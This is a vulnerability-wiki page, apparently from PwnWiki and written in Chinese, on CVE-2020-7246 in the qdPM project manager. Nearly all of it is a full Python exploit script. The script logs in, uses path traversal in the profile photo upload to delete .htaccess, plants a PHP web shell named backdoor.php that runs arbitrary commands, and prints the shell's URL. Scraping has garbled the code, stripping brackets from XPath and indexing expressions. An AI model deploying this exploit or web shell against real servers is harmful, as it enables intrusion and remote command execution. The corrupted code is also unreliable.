Loading
0

CVE-2020-7246 qdPM 9.1 远程代码执行漏洞/zh-cn

免费、自由、人人可编辑的漏洞库--PwnWiki.com

,

影响版本

 Version: <=1.9.1

EXP

# Exploit Title: qdPM 9.1 - Remote Code Execution
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2020-01-22
# Exploit Author: Rishal Dwivedi (Loginsoft)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Windows 10 (Python 2.7)
# CVE : CVE-2020-7246
# Exploit written in Python 2.7
# Tested Environment - Windows 10
# Path Traversal + Remote Code Execution

# Command - qdpm-exploit.py -url http://localhost/ -u email protected -p password
# -*- coding: utf-8 -*-
#!/usr/bin/python

import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(
   userid,
   username,
   csrftoken_,
   EMAIL,
   HOSTNAME,
   uservar,
   ):
   request_1 = {
       'sf_method': (None, 'put'),
       'usersid': (None, userid-1),
       'usersphoto_preview': (None, uservar),
       'users_csrf_token': (None, csrftoken_-1),
       'usersname': (None, username-1),
       'usersnew_password': (None, ''),
       'usersemail': (None, EMAIL),
       'extra_fields9': (None, ''),
       'usersremove_photo': (None, '1'),
       }
   return request_1


def req(
   userid,
   username,
   csrftoken_,
   EMAIL,
   HOSTNAME,
   ):
   request_1 = multifrm(
       userid,
       username,
       csrftoken_,
       EMAIL,
       HOSTNAME,
       '.htaccess',
       )
   new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                               , files=request_1)
   request_2 = multifrm(
       userid,
       username,
       csrftoken_,
       EMAIL,
       HOSTNAME,
       '../.htaccess',
       )
   new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_2)
   request_3 = {
       'sf_method': (None, 'put'),
       'usersid': (None, userid-1),
       'usersphoto_preview': (None, ''),
       'users_csrf_token': (None, csrftoken_-1),
       'usersname': (None, username-1),
       'usersnew_password': (None, ''),
       'usersemail': (None, EMAIL),
       'extra_fields9': (None, ''),
       'usersphoto': ('backdoor.php',
                        '<?php if(isset($_REQUEST\'cmd\')){ echo "<pre>"; $cmd = ($_REQUEST\'cmd\'); system($cmd); echo "

"; die; }?>'

                       , 'application/octet-stream'),
      }
  upload_req = session_requests.post(HOSTNAME
          + 'index.php/myAccount/update', files=request_3)

def main(HOSTNAME, EMAIL, PASSWORD):

  result = session_requests.get(HOSTNAME + '/index.php/login')
  login_tree = html.fromstring(result.text)
  authenticity_token = \
      list(set(login_tree.xpath("//input@name='login_csrf_token'/@value"
           )))0
  payload = {'loginemail': EMAIL, 'loginpassword': PASSWORD,
             'login_csrf_token': authenticity_token}
  result = session_requests.post(HOSTNAME + '/index.php/login',
                                 data=payload,
                                 headers=dict(referer=HOSTNAME
                                 + '/index.php/login'))
  account_page = session_requests.get(HOSTNAME + 'index.php/myAccount'
          )
  account_tree = html.fromstring(account_page.content)
  userid = account_tree.xpath("//input@name='usersid'/@value")
  username = account_tree.xpath("//input@name='usersname'/@value")
  csrftoken_ = \
      account_tree.xpath("//input@name='users_csrf_token'/@value")
  req(userid, username, csrftoken_, EMAIL, HOSTNAME)
  get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
  final_tree = html.fromstring(get_file.content)
  backdoor = \
      final_tree.xpath("//input@name='usersphoto_preview'/@value")
  print 'Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' \
      + backdoor-1 + '?cmd=whoami'

if __name__ == '__main__':

  parser = \
      ArgumentParser(description='qdmp - Path traversal + RCE Exploit'
                     )
  parser.add_argument('-url', '--host', dest='hostname',
                      help='Project URL')
  parser.add_argument('-u', '--email', dest='email',
                      help='User email (Any privilege account)')
  parser.add_argument('-p', '--password', dest='password',
                      help='User password')
  args = parser.parse_args()
  main(args.hostname, args.email, args.password)

PWNWIK.COM